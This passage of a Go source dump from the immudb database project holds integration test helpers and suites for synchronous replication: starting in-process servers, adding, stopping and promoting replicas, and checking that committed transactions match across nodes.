s.pool.Client.InspectImage(image) // require.NoError(t, err, "Could not find %s", image) // } // resource, err := s.pool.RunWithOptions(runOptions, func(config *docker.HostConfig) { // config.Mounts = []docker.HostMount{ // { // Source: "/tmp", // Target: os.Getenv("TMPDIR"), // Type: "bind", // }, // } // }) // require.NoError(t, err) // return resource // } // func (s *dockerTestServer) Start(t *testing.T) { // require.Nil(t, s.srv) // var ( // name = fmt.Sprintf("immudb-%d", rand.Intn(50)) // repo = "immudb/e2e" // tag = "latest" // dirFlag = fmt.Sprintf("--dir=%s", s.dir) // hostPort = "" // ) // if s.port > 0 { // hostPort = strconv.Itoa(s.port) // } // container := s.startContainer(t, &dockertest.RunOptions{ // Name: name, // Repository: repo, // Tag: tag, // Cmd: []string{ // dirFlag, // "--pgsql-server=false", // "--metrics-server=false", // }, // ExposedPorts: []string{"3322"}, // PortBindings: map[docker.Port][]docker.PortBinding{"3322/tcp": {{HostPort: hostPort}}}, // }) // port, err := strconv.Atoi(container.GetPort("3322/tcp")) // require.NoError(t, err) // s.srv = container // s.port = port // // Wait for the server to initialize // // TODO: Active notification that the server has started // time.Sleep(5 * time.Second) // } // // getLocalIP returns the non loopback local IP of the host // func getLocalIP() string { // addrs, err := net.InterfaceAddrs() // if err != nil { // return "" // } // for _, address := range addrs { // // check the address type and if it is not a loopback the display it // if ipnet, ok := address.(*net.IPNet); ok && !ipnet.IP.IsLoopback() { // if ipnet.IP.To4() != nil { // return ipnet.IP.String() // } // } // } // return "" // } ================================================ FILE: pkg/integration/replication/docker_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package replication // var pool *dockertest.Pool // func TestMain(m *testing.M) { // var err error // pool, err = dockertest.NewPool("") // if err != nil { // log.Fatalf("Could not connect to docker: %s", err) // } // os.Exit(m.Run()) // } // func TestImmudb(t *testing.T) { // resource, err := pool.Run("codenotary/immudb", "latest", []string{}) // require.NoError(t, err) // assert.NotEmpty(t, resource.GetPort("3322/tcp")) // assert.NotEmpty(t, resource.GetBoundIP("3322/tcp")) // require.Nil(t, pool.Purge(resource)) // } // func TestDockerTestServer(t *testing.T) { // d := &dockerTestServer{ // pool: pool, // } // d.Start(t) // addr, port := d.Address(t) // assert.NotEmpty(t, addr) // assert.NotEmpty(t, port) // d.Shutdown(t) // } ================================================ FILE: pkg/integration/replication/server.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package replication import ( "fmt" "net" "testing" "time" "github.com/codenotary/immudb/pkg/server" "github.com/rs/xid" "github.com/stretchr/testify/require" ) // inProcessTestServerProvider creates in-memory test servers // those servers are using a temporary directory that's cleaned up after the test is finished type inProcessTestServerProvider struct { } func (p *inProcessTestServerProvider) AddServer(t *testing.T) TestServer { ret := &inProcessTestServer{ dir: t.TempDir(), // go test will clean this up } ret.Start(t) return ret } // inProcessTestServer represents an in-process test server type inProcessTestServer struct { srv *server.ImmuServer dir string port int } func (s *inProcessTestServer) Address(t *testing.T) (string, int) { return "localhost", s.port } func (s *inProcessTestServer) Shutdown(t *testing.T) { require.NotNil(t, s.srv) s.srv.Stop() s.srv = nil } func (s *inProcessTestServer) UUID(t *testing.T) xid.ID { return s.srv.UUID } func (s *inProcessTestServer) Start(t *testing.T) { require.Nil(t, s.srv) opts := server.DefaultOptions(). WithMetricsServer(false). WithWebServer(false). WithPgsqlServer(false). WithPort(s.port). WithDir(s.dir) srv := server.DefaultServer().WithOptions(opts).(*server.ImmuServer) err := srv.Initialize() require.NoError(t, err) if s.port == 0 { // Save the port for reopening with the same value s.port = srv.Listener.Addr().(*net.TCPAddr).Port } go func() { err := srv.Start() require.NoError(t, err) }() require.Eventually(t, func() bool { // Check if we can talk to GRPC server (checking if we can only connect alone is not enough) conn, err := net.DialTimeout("tcp", fmt.Sprintf("localhost:%d", s.port), 5*time.Millisecond) if err != nil { return false } defer conn.Close() err = conn.SetReadDeadline(time.Now().Add(5 * time.Millisecond)) if err != nil { return false } _, err = conn.Read([]byte{0}) return err == nil }, time.Second, 10*time.Millisecond) s.srv = srv } ================================================ FILE: pkg/integration/replication/suite.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package replication import ( "context" "sync" "testing" "time" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/pkg/client" "github.com/rs/xid" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" "github.com/stretchr/testify/suite" ) const ( primaryDBName = "primarydb" replicaDBName = "replicadb" primaryUsername = "replicator" primaryPassword = "replicator1Pwd!" ) // TestServer is an abstract representation of a TestServer type TestServer interface { // Get the host and port under which the server can be accessed Address(t *testing.T) (host string, port int) UUID(t *testing.T) xid.ID // shutdown the server Shutdown(t *testing.T) // start previously shut down server Start(t *testing.T) } // TestServerProvider is a provider of server instances type TestServerProvider interface { AddServer(t *testing.T) TestServer } type baseReplicationTestSuite struct { srvProvider TestServerProvider suite.Suite mu sync.Mutex // server settings primary TestServer primaryDBName string primaryRunning bool replicas []TestServer replicasDBName []string replicasRunning []bool clientStateDir string } func (suite *baseReplicationTestSuite) GetReplicasCount() int { suite.mu.Lock() defer suite.mu.Unlock() return len(suite.replicas) } func (suite *baseReplicationTestSuite) AddReplica(sync bool) int { suite.mu.Lock() defer suite.mu.Unlock() replica := suite.srvProvider.AddServer(suite.T()) replicaNum := len(suite.replicas) suite.replicas = append(suite.replicas, replica) suite.replicasDBName = append(suite.replicasDBName, replicaDBName) suite.replicasRunning = append(suite.replicasRunning, true) rctx, replicaClient, cleanup := suite.internalClientFor(replica, client.DefaultDB) defer cleanup() primaryHost, primaryPort := suite.primary.Address(suite.T()) settings := &schema.DatabaseNullableSettings{ ReplicationSettings: &schema.ReplicationNullableSettings{ Replica: &schema.NullableBool{Value: true}, SyncReplication: &schema.NullableBool{Value: sync}, PrimaryDatabase: &schema.NullableString{Value: suite.primaryDBName}, PrimaryHost: &schema.NullableString{Value: primaryHost}, PrimaryPort: &schema.NullableUint32{Value: uint32(primaryPort)}, PrimaryUsername: &schema.NullableString{Value: primaryUsername}, PrimaryPassword: &schema.NullableString{Value: primaryPassword}, }, } // init database on the replica to replicate _, err := replicaClient.CreateDatabaseV2(rctx, replicaDBName, settings) require.NoError(suite.T(), err) return replicaNum } func (suite *baseReplicationTestSuite) StopReplica(replicaNum int) { suite.mu.Lock() defer suite.mu.Unlock() f := suite.replicas[replicaNum] f.Shutdown(suite.T()) suite.replicasRunning[replicaNum] = false } func (suite *baseReplicationTestSuite) StartReplica(replicaNum int) { suite.mu.Lock() defer suite.mu.Unlock() f := suite.replicas[replicaNum] f.Start(suite.T()) suite.replicasRunning[replicaNum] = true } func (suite *baseReplicationTestSuite) PromoteReplica(replicaNum, syncAcks int) { suite.mu.Lock() defer suite.mu.Unlock() // set replica as new primary and current primary as replica suite.primary, suite.replicas[replicaNum] = suite.replicas[replicaNum], suite.primary suite.primaryDBName, suite.replicasDBName[replicaNum] = suite.replicasDBName[replicaNum], suite.primaryDBName mctx, mClient, cleanup := suite.internalClientFor(suite.primary, suite.primaryDBName) defer cleanup() _, err := mClient.UpdateDatabaseV2(mctx, suite.primaryDBName, &schema.DatabaseNullableSettings{ ReplicationSettings: &schema.ReplicationNullableSettings{ Replica: &schema.NullableBool{Value: false}, SyncReplication: &schema.NullableBool{Value: syncAcks > 0}, SyncAcks: &schema.NullableUint32{Value: uint32(syncAcks)}, }, }) require.NoError(suite.T(), err) mdb, err := mClient.UseDatabase(mctx, &schema.Database{DatabaseName: suite.primaryDBName}) require.NoError(suite.T(), err) require.NotNil(suite.T(), mdb) err = mClient.CreateUser(mctx, []byte(primaryUsername), []byte(primaryPassword), auth.PermissionAdmin, suite.primaryDBName) require.NoError(suite.T(), err) err = mClient.SetActiveUser(mctx, &schema.SetActiveUserRequest{Active: true, Username: primaryUsername}) require.NoError(suite.T(), err) host, port := suite.primary.Address(suite.T()) for i, _ := range suite.replicas { ctx, client, cleanup := suite.internalClientFor(suite.replicas[i], suite.replicasDBName[i]) defer cleanup() _, err = client.UpdateDatabaseV2(ctx, suite.replicasDBName[i], &schema.DatabaseNullableSettings{ ReplicationSettings: &schema.ReplicationNullableSettings{ Replica: &schema.NullableBool{Value: true}, PrimaryHost: &schema.NullableString{Value: host}, PrimaryPort: &schema.NullableUint32{Value: uint32(port)}, PrimaryDatabase: &schema.NullableString{Value: suite.primaryDBName}, PrimaryUsername: &schema.NullableString{Value: primaryUsername}, PrimaryPassword: &schema.NullableString{Value: primaryPassword}, }, }) require.NoError(suite.T(), err) } } func (suite *baseReplicationTestSuite) StartPrimary(syncAcks int) { suite.mu.Lock() defer suite.mu.Unlock() require.Nil(suite.T(), suite.primary) srv := suite.srvProvider.AddServer(suite.T()) suite.primary = srv mctx, client, cleanup := suite.internalClientFor(srv, client.DefaultDB) defer cleanup() settings := &schema.DatabaseNullableSettings{} if syncAcks > 0 { settings.ReplicationSettings = &schema.ReplicationNullableSettings{ SyncReplication: &schema.NullableBool{Value: true}, SyncAcks: &schema.NullableUint32{Value: uint32(syncAcks)}, } } _, err := client.CreateDatabaseV2(mctx, suite.primaryDBName, settings) require.NoError(suite.T(), err) mdb, err := client.UseDatabase(mctx, &schema.Database{DatabaseName: suite.primaryDBName}) require.NoError(suite.T(), err) require.NotNil(suite.T(), mdb) err = client.CreateUser(mctx, []byte(primaryUsername), []byte(primaryPassword), auth.PermissionAdmin, suite.primaryDBName) require.NoError(suite.T(), err) err = client.SetActiveUser(mctx, &schema.SetActiveUserRequest{Active: true, Username: primaryUsername}) require.NoError(suite.T(), err) suite.primaryRunning = true } func (suite *baseReplicationTestSuite) StopPrimary() { suite.mu.Lock() defer suite.mu.Unlock() require.NotNil(suite.T(), suite.primary) suite.primary.Shutdown(suite.T()) suite.primaryRunning = false } func (suite *baseReplicationTestSuite) RestartPrimary() { suite.StopPrimary() suite.mu.Lock() defer suite.mu.Unlock() suite.primary.Start(suite.T()) suite.primaryRunning = true } func (suite *baseReplicationTestSuite) internalClientFor(srv TestServer, dbName string) (context.Context, client.ImmuClient, func()) { host, port := srv.Address(suite.T()) opts := client. DefaultOptions(). WithDir(suite.clientStateDir). WithAddress(host). WithPort(port) c := client.NewClient().WithOptions(opts) err := c.OpenSession( context.Background(), []byte(`immudb`), []byte(`immudb`), dbName, ) require.NoError(suite.T(), err) return context.Background(), c, func() { c.CloseSession(context.Background()) } } func (suite *baseReplicationTestSuite) ClientForPrimary() (mctx context.Context, client client.ImmuClient, cleanup func()) { suite.mu.Lock() defer suite.mu.Unlock() return suite.internalClientFor(suite.primary, suite.primaryDBName) } func (suite *baseReplicationTestSuite) ClientForReplica(replicaNum int) (rctx context.Context, client client.ImmuClient, cleanup func()) { suite.mu.Lock() defer suite.mu.Unlock() return suite.internalClientFor(suite.replicas[replicaNum], suite.replicasDBName[replicaNum]) } func (suite *baseReplicationTestSuite) WaitForCommittedTx( ctx context.Context, client client.ImmuClient, txID uint64, timeout time.Duration, ) { var state *schema.ImmutableState var err error if !assert.Eventually(suite.T(), func() bool { state, err = client.CurrentState(ctx) require.NoError(suite.T(), err) return state.TxId >= txID }, timeout, time.Millisecond*10) { require.FailNowf(suite.T(), "Failed to get up to transaction", "Failed to get up to transaction %d, precommitted tx: %d, committed tx: %d", txID, state.PrecommittedTxId, state.TxId, ) } } func (suite *baseReplicationTestSuite) SetupCluster(syncReplicas, syncAcks, asyncReplicas int) { suite.primaryDBName = primaryDBName suite.StartPrimary(syncAcks) wg := sync.WaitGroup{} for i := 0; i < syncReplicas; i++ { wg.Add(1) go func() { defer wg.Done() suite.AddReplica(true) }() } for i := 0; i < asyncReplicas; i++ { wg.Add(1) go func() { defer wg.Done() suite.AddReplica(false) }() } wg.Wait() } func (suite *baseReplicationTestSuite) ValidateClusterSetup() { uuids := make(map[string]struct{}, 1+suite.GetReplicasCount()) uuids[suite.primary.UUID(suite.T()).String()] = struct{}{} for _, f := range suite.replicas { uuid := f.UUID(suite.T()).String() if _, ok := uuids[uuid]; ok { require.FailNowf(suite.T(), "duplicated uuid", "duplicated uuid '%s'", uuid) } uuids[uuid] = struct{}{} } } // SetupTest initializes the suite func (suite *baseReplicationTestSuite) SetupTest() { suite.mu.Lock() defer suite.mu.Unlock() suite.clientStateDir = suite.T().TempDir() if suite.srvProvider == nil { suite.srvProvider = &inProcessTestServerProvider{} } } // this function executes after all tests executed func (suite *baseReplicationTestSuite) TearDownTest() { suite.mu.Lock() defer suite.mu.Unlock() // stop replicas for i, srv := range suite.replicas { if suite.replicasRunning[i] { srv.Shutdown(suite.T()) } } suite.replicas = []TestServer{} // stop primary if suite.primary != nil { suite.primary.Shutdown(suite.T()) suite.primary = nil } suite.primary = nil } ================================================ FILE: pkg/integration/replication/synchronous_replication_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package replication import ( "context" "fmt" "sync" "sync/atomic" "testing" "time" "github.com/codenotary/immudb/pkg/api/schema" "github.com/stretchr/testify/require" "github.com/stretchr/testify/suite" ) type SyncTestSuitePrimaryToAllReplicas struct { baseReplicationTestSuite } func TestSyncTestSuitePrimaryToAllReplicas(t *testing.T) { suite.Run(t, &SyncTestSuitePrimaryToAllReplicas{}) } // this function executes before the test suite begins execution func (suite *SyncTestSuitePrimaryToAllReplicas) SetupTest() { suite.baseReplicationTestSuite.SetupTest() suite.SetupCluster(2, 2, 0) suite.ValidateClusterSetup() } func (suite *SyncTestSuitePrimaryToAllReplicas) TestSyncFromPrimaryToAllReplicas() { ctx, client, cleanup := suite.ClientForPrimary() defer cleanup() tx1, err := client.Set(ctx, []byte("key1"), []byte("value1")) require.NoError(suite.T(), err) tx2, err := client.Set(ctx, []byte("key2"), []byte("value2")) require.NoError(suite.T(), err) for i := 0; i < suite.GetReplicasCount(); i++ { suite.Run(fmt.Sprintf("test replica %d", i), func() { ctx, client, cleanup := suite.ClientForReplica(i) defer cleanup() // Tests are flaky because it takes time to commit the // precommitted TX, so this function just ensures the state // is in sync between primary and replica suite.WaitForCommittedTx(ctx, client, tx2.Id, time.Duration(3)*time.Second) val, err := client.GetAt(ctx, []byte("key1"), tx1.Id) require.NoError(suite.T(), err) suite.Require().Equal([]byte("value1"), val.Value) val, err = client.GetAt(ctx, []byte("key2"), tx2.Id) require.NoError(suite.T(), err) suite.Require().Equal([]byte("value2"), val.Value) }) } } type SyncTestSuitePrimaryRestart struct { baseReplicationTestSuite } func TestSyncTestSuitePrimaryRestart(t *testing.T) { suite.Run(t, &SyncTestSuitePrimaryRestart{}) } // this function executes before the test suite begins execution func (suite *SyncTestSuitePrimaryRestart) SetupTest() { suite.baseReplicationTestSuite.SetupTest() suite.SetupCluster(2, 2, 0) suite.ValidateClusterSetup() } func (suite *SyncTestSuitePrimaryRestart) TestPrimaryRestart() { var txBeforeRestart *schema.TxHeader suite.Run("commit before restarting primary", func() { ctx, client, cleanup := suite.ClientForPrimary() defer cleanup() tx, err := client.Set(ctx, []byte("key-before-restart"), []byte("value-before-restart")) require.NoError(suite.T(), err) txBeforeRestart = tx }) suite.RestartPrimary() suite.Run("commit after restarting primary", func() { ctx, client, cleanup := suite.ClientForPrimary() defer cleanup() tx, err := client.Set(ctx, []byte("key3"), []byte("value3")) require.NoError(suite.T(), err) for i := 0; i < suite.GetReplicasCount(); i++ { suite.Run(fmt.Sprintf("check replica %d", i), func() { ctx, client, cleanup := suite.ClientForReplica(i) defer cleanup() // Tests are flaky because it takes time to commit the // precommitted TX, so this function just ensures the state // is in sync between primary and replica suite.WaitForCommittedTx(ctx, client, tx.Id, 30*time.Second) // Longer time since replica must reestablish connection to the primary val, err := client.GetAt(ctx, []byte("key3"), tx.Id) require.NoError(suite.T(), err) require.Equal(suite.T(), []byte("value3"), val.Value) val, err = client.GetAt(ctx, []byte("key-before-restart"), txBeforeRestart.Id) require.NoError(suite.T(), err) require.Equal(suite.T(), []byte("value-before-restart"), val.Value) }) } }) } type SyncTestSuitePrecommitStateSync struct { baseReplicationTestSuite } func TestSyncTestSuitePrecommitStateSync(t *testing.T) { suite.Run(t, &SyncTestSuitePrecommitStateSync{}) } // this function executes before the test suite begins execution func (suite *SyncTestSuitePrecommitStateSync) SetupTest() { suite.baseReplicationTestSuite.SetupTest() suite.SetupCluster(2, 2, 0) suite.ValidateClusterSetup() } // TestPrecommitStateSync checks if the precommit state at primary // and its replicas are in sync during synchronous replication func (suite *SyncTestSuitePrecommitStateSync) TestPrecommitStateSync() { var ( primaryState *schema.ImmutableState err error startCh = make(chan bool) ) ctx, client, cleanup := suite.ClientForPrimary() defer cleanup() // Create goroutines for client waiting to query the state // of the replicas. This is initialized before to avoid // spending time initializing the replica client for faster // state access var wg sync.WaitGroup for i := 0; i < suite.GetReplicasCount(); i++ { wg.Add(1) go func(replicaID int) { defer wg.Done() ctx, client, cleanup := suite.ClientForReplica(replicaID) defer cleanup() <-startCh suite.Run(fmt.Sprintf("test replica sync state %d", replicaID), func() { state, err := client.CurrentState(ctx) require.NoError(suite.T(), err) suite.Require().Equal(state.PrecommittedTxId, primaryState.TxId) suite.Require().Equal(state.PrecommittedTxHash, primaryState.TxHash) }) }(i) } // add multiple keys to make update the primary's state quickly for i := 10; i < 30; i++ { key := fmt.Sprintf("key%d", i) value := fmt.Sprintf("value%d", i) _, err = client.Set(ctx, []byte(key), []byte(value)) require.NoError(suite.T(), err) } // get the current precommit txn id state of primary primaryState, err = client.CurrentState(ctx) require.NoError(suite.T(), err) // close will unblock all goroutines close(startCh) wg.Wait() } type SyncTestMinimumReplicasSuite struct { baseReplicationTestSuite } func TestSyncTestMinimumReplicasSuite(t *testing.T) { suite.Run(t, &SyncTestMinimumReplicasSuite{}) } // this function executes before the test suite begins execution func (suite *SyncTestMinimumReplicasSuite) SetupTest() { suite.baseReplicationTestSuite.SetupTest() suite.SetupCluster(4, 2, 0) suite.ValidateClusterSetup() } // TestMinimumReplicas ensures the primary can operate as long as the minimum // number of replicas send their confirmations func (suite *SyncTestMinimumReplicasSuite) TestMinimumReplicas() { ctx, client, cleanup := suite.ClientForPrimary() defer cleanup() suite.Run("should commit successfully without one replica", func() { suite.StopReplica(0) ctxTimeout, cancel := context.WithTimeout(ctx, time.Second) defer cancel() _, err := client.Set(ctxTimeout, []byte("key1"), []byte("value1")) require.NoError(suite.T(), err) }) suite.Run("should commit successfully without two replicas", func() { suite.StopReplica(1) ctxTimeout, cancel := context.WithTimeout(ctx, 2*time.Second) defer cancel() _, err := client.Set(ctxTimeout, []byte("key2"), []byte("value2")) require.NoError(suite.T(), err) }) suite.Run("should not commit without three replicas", func() { suite.StopReplica(2) ctxTimeout, cancel := context.WithTimeout(ctx, 2*time.Second) defer cancel() _, err := client.Set(ctxTimeout, []byte("key3"), []byte("value3")) require.Error(suite.T(), err) require.Contains(suite.T(), err.Error(), "deadline") }) suite.Run("should commit again once first replica is back online", func() { suite.StartReplica(0) ctxTimeout, cancel := context.WithTimeout(ctx, 2*time.Second) defer cancel() _, err := client.Set(ctxTimeout, []byte("key4"), []byte("value4")) require.NoError(suite.T(), err) }) suite.Run("should recover with all replicas replaced", func() { suite.StopReplica(0) suite.StopReplica(3) suite.AddReplica(true) suite.AddReplica(true) ctxTimeout, cancel := context.WithTimeout(ctx, 2*time.Second) defer cancel() _, err := client.Set(ctxTimeout, []byte("key5"), []byte("value5")) require.NoError(suite.T(), err) }) suite.Run("ensure correct data is in the database after all changes", func() { primaryState, err := client.CurrentState(ctx) require.NoError(suite.T(), err) for i := 4; i < 6; i++ { suite.Run(fmt.Sprintf("replica %d", i), func() { ctx, client, cleanup := suite.ClientForReplica(i) defer cleanup() suite.WaitForCommittedTx(ctx, client, primaryState.TxId, 2*time.Second) for i := 1; i <= 5; i++ { val, err := client.Get(ctx, []byte(fmt.Sprintf("key%d", i))) require.NoError(suite.T(), err) require.Equal(suite.T(), []byte(fmt.Sprintf("value%d", i)), val.Value) } }) } }) } type SyncTestRecoverySpeedSuite struct { baseReplicationTestSuite } func TestSyncTestRecoverySpeedSuite(t *testing.T) { suite.Run(t, &SyncTestRecoverySpeedSuite{}) } func (suite *SyncTestRecoverySpeedSuite) SetupTest() { suite.baseReplicationTestSuite.SetupTest() suite.SetupCluster(2, 1, 0) suite.ValidateClusterSetup() } func (suite *SyncTestRecoverySpeedSuite) TestReplicaRecoverySpeed() { const parallelWriters = 30 const samplingTime = time.Second * 5 // Stop the replica, we don't replicate any transactions to it now // but we can still commit using the second replica suite.StopReplica(0) var txWritten uint64 suite.Run("Write transactions for 5 seconds at maximum speed", func() { start := make(chan bool) stop := make(chan bool) wgStart := sync.WaitGroup{} wgFinish := sync.WaitGroup{} // Run multiple clients in parallel - let's try to hammer the DB as much as possible for i := 0; i < parallelWriters; i++ { wgStart.Add(1) wgFinish.Add(1) go func(i int) { defer wgFinish.Done() ctx, client, cleanup := suite.ClientForPrimary() defer cleanup() // Wait for the start signal wgStart.Done() <-start for j := 0; ; j++ { select { case <-stop: atomic.AddUint64(&txWritten, uint64(j)) return default: } _, err := client.Set(ctx, []byte(fmt.Sprintf("client-%d-%d", i, j)), []byte(fmt.Sprintf("value-%d-%d", i, j)), ) suite.Require().NoError(err) } }(i) } // Ready, steady... wgStart.Wait() // Go... close(start) time.Sleep(samplingTime) close(stop) wgFinish.Wait() fmt.Println("Total TX written:", txWritten) }) var tx *schema.TxHeader suite.Run("Ensure replica can recover in reasonable amount of time", func() { // Stop the second replica, now the DB is locked suite.StopReplica(1) ctx, client, cleanup := suite.ClientForPrimary() defer cleanup() state, err := client.CurrentState(ctx) suite.Require().NoError(err) suite.Require().Equal(state.TxId, txWritten, "Ensure enough TXs were written") // Check if we can recover the cluster and perform write within a reasonable amount of time // that was needed for initial sampling. The replica that was initially stopped and now // started has the same amount of transaction to grab from primary as the other one // which should take the same amount of time as the initial write period or less // (since the primary is not persisting data this time). ctxTimeout, cancel := context.WithTimeout(ctx, samplingTime*4) defer cancel() suite.StartReplica(0) // 1 down tx, err = client.Set(ctxTimeout, []byte("key-after-recovery"), []byte("value-after-recovery")) suite.NoError(err) }) suite.Run("Ensure the data is readable from replicas", func() { suite.StartReplica(1) suite.Run("primary", func() { ctx, client, cleanup := suite.ClientForPrimary() defer cleanup() val, err := client.GetAt(ctx, []byte("key-after-recovery"), tx.Id) suite.NoError(err) suite.Equal([]byte("value-after-recovery"), val.Value) }) for i := 0; i < suite.GetReplicasCount(); i++ { suite.Run(fmt.Sprintf("replica %d", i), func() { ctx, client, cleanup := suite.ClientForReplica(i) defer cleanup() suite.WaitForCommittedTx(ctx, client, tx.Id, 5*time.Second) val, err := client.GetAt(ctx, []byte("key-after-recovery"), tx.Id) suite.NoError(err) suite.Equal([]byte("value-after-recovery"), val.Value) }) } }) } type SyncTestWithAsyncReplicaSuite struct { baseReplicationTestSuite } func TestSyncTestWithAsyncReplicaSuite(t *testing.T) { suite.Run(t, &SyncTestWithAsyncReplicaSuite{}) } func (suite *SyncTestWithAsyncReplicaSuite) SetupTest() { suite.baseReplicationTestSuite.SetupTest() suite.SetupCluster(2, 1, 1) suite.ValidateClusterSetup() } func (suite *SyncTestWithAsyncReplicaSuite) TestSyncReplicationAlongWithAsyncReplicas() { const parallelWriters = 30 const samplingTime = time.Second * 5 var txWritten uint64 suite.Run("Write transactions for 5 seconds at maximum speed", func() { start := make(chan bool) stop := make(chan bool) wgStart := sync.WaitGroup{} wgFinish := sync.WaitGroup{} // Run multiple clients in parallel - let's try to hammer the DB as much as possible for i := 0; i < parallelWriters; i++ { wgStart.Add(1) wgFinish.Add(1) go func(i int) { defer wgFinish.Done() ctx, client, cleanup := suite.ClientForPrimary() defer cleanup() // Wait for the start signal wgStart.Done() <-start for j := 0; ; j++ { select { case <-stop: atomic.AddUint64(&txWritten, uint64(j)) return default: } _, err := client.Set(ctx, []byte(fmt.Sprintf("client-%d-%d", i, j)), []byte(fmt.Sprintf("value-%d-%d", i, j)), ) suite.Require().NoError(err) } }(i) } // Ready, steady... wgStart.Wait() // Go... close(start) time.Sleep(samplingTime) close(stop) wgFinish.Wait() fmt.Println("Total TX written:", txWritten) }) suite.Run("Ensure the data is available in all the replicas", func() { ctx, client, cleanup := suite.ClientForPrimary() defer cleanup() state, err := client.CurrentState(ctx) suite.Require().NoError(err) suite.Require().Equal(state.TxId, txWritten, "Ensure enough TXs were written") for i := 0; i < suite.GetReplicasCount(); i++ { suite.Run(fmt.Sprintf("replica %d", i), func() { ctx, client, cleanup := suite.ClientForReplica(i) defer cleanup() suite.WaitForCommittedTx(ctx, client, state.TxId, 20*time.Second) }) } }) } type SyncTestChangingPrimarySuite struct { baseReplicationTestSuite } func TestSyncTestChangingPrimarySuite(t *testing.T) { suite.Run(t, &SyncTestChangingPrimarySuite{}) } func (suite *SyncTestChangingPrimarySuite) SetupTest() { suite.baseReplicationTestSuite.SetupTest() suite.SetupCluster(2, 2, 0) suite.ValidateClusterSetup() } func (suite *SyncTestChangingPrimarySuite) TestSyncTestChangingPrimarySuite() { var txBeforeChangingPrimary *schema.TxHeader suite.Run("commit before changing primary", func() { ctx, client, cleanup := suite.ClientForPrimary() defer cleanup() tx, err := client.Set(ctx, []byte("key-before-primary-change"), []byte("value-before-primary-change")) require.NoError(suite.T(), err) txBeforeChangingPrimary = tx }) // it's possible to promote any replica as new primary because ack from all replicas is required by primary // ensure the replica to be promoted is up to date with primary's commit state ctx, client, cleanup := suite.ClientForReplica(1) suite.WaitForCommittedTx(ctx, client, txBeforeChangingPrimary.Id, 1*time.Second) cleanup() suite.PromoteReplica(1, 1) suite.Run("commit after changing primary", func() { ctx, client, cleanup := suite.ClientForPrimary() defer cleanup() tx, err := client.Set(ctx, []byte("key-after-primary-change"), []byte("value-after-primary-change")) require.NoError(suite.T(), err) for i := 0; i < suite.GetReplicasCount(); i++ { suite.Run(fmt.Sprintf("check replica %d", i), func() { ctx, client, cleanup := suite.ClientForReplica(i) defer cleanup() // Tests are flaky because it takes time to commit the // precommitted TX, so this function just ensures the state // is in sync between primary and replica suite.WaitForCommittedTx(ctx, client, tx.Id, 30*time.Second) // Longer time since replica must reestablish connection to the primary val, err := client.GetAt(ctx, []byte("key-before-primary-change"), txBeforeChangingPrimary.Id) require.NoError(suite.T(), err) require.Equal(suite.T(), []byte("value-before-primary-change"), val.Value) val, err = client.GetAt(ctx, []byte("key-after-primary-change"), tx.Id) require.NoError(suite.T(), err) require.Equal(suite.T(), []byte("value-after-primary-change"), val.Value) }) } }) } type SyncTestChangingMasterSettingsSuite struct { baseReplicationTestSuite } func TestSyncTestChangingMasterSettingsSuite(t *testing.T) { suite.Run(t, &SyncTestChangingMasterSettingsSuite{}) } func (suite *SyncTestChangingMasterSettingsSuite) SetupTest() { suite.baseReplicationTestSuite.SetupTest() suite.SetupCluster(1, 1, 0) suite.ValidateClusterSetup() } func (suite *SyncTestChangingMasterSettingsSuite) TestSyncTestChangingMasterSuite() { suite.Run("get one locked writer due to insufficient confirmations", func() { ctx, mc, cleanup := suite.ClientForPrimary() defer cleanup() _, err := mc.UpdateDatabaseV2(ctx, suite.primaryDBName, &schema.DatabaseNullableSettings{ ReplicationSettings: &schema.ReplicationNullableSettings{ SyncAcks: &schema.NullableUint32{ Value: 2, }, }, }) suite.Require().NoError(err) ctxWithTimeout, cancel := context.WithTimeout(ctx, time.Second) defer cancel() _, err = mc.Set(ctxWithTimeout, []byte("key"), []byte("value")) suite.Require().Error(err) suite.Require().Contains(err.Error(), context.DeadlineExceeded.Error()) }) suite.Run("recover from locked write by changing database settings", func() { ctx, mc, cleanup := suite.ClientForPrimary() defer cleanup() ctxWithTimeout, cancel := context.WithTimeout(ctx, 5*time.Second) defer cancel() _, err := mc.UpdateDatabaseV2(ctxWithTimeout, suite.primaryDBName, &schema.DatabaseNullableSettings{ ReplicationSettings: &schema.ReplicationNullableSettings{ SyncAcks: &schema.NullableUint32{ Value: 1, }, }, }) suite.Require().NoError(err) ctxWithTimeout, cancel = context.WithTimeout(ctx, time.Second) defer cancel() _, err = mc.Set(ctxWithTimeout, []byte("key2"), []byte("value2")) suite.Require().NoError(err) }) suite.Run("ensure all commits are correctly persisted", func() { ctx, mc, cleanup := suite.ClientForPrimary() defer cleanup() val, err := mc.Get(ctx, []byte("key")) suite.Require().NoError(err) suite.Require().Equal([]byte("value"), val.Value) val, err = mc.Get(ctx, []byte("key2")) suite.Require().NoError(err) suite.Require().Equal([]byte("value2"), val.Value) }) } ================================================ FILE: 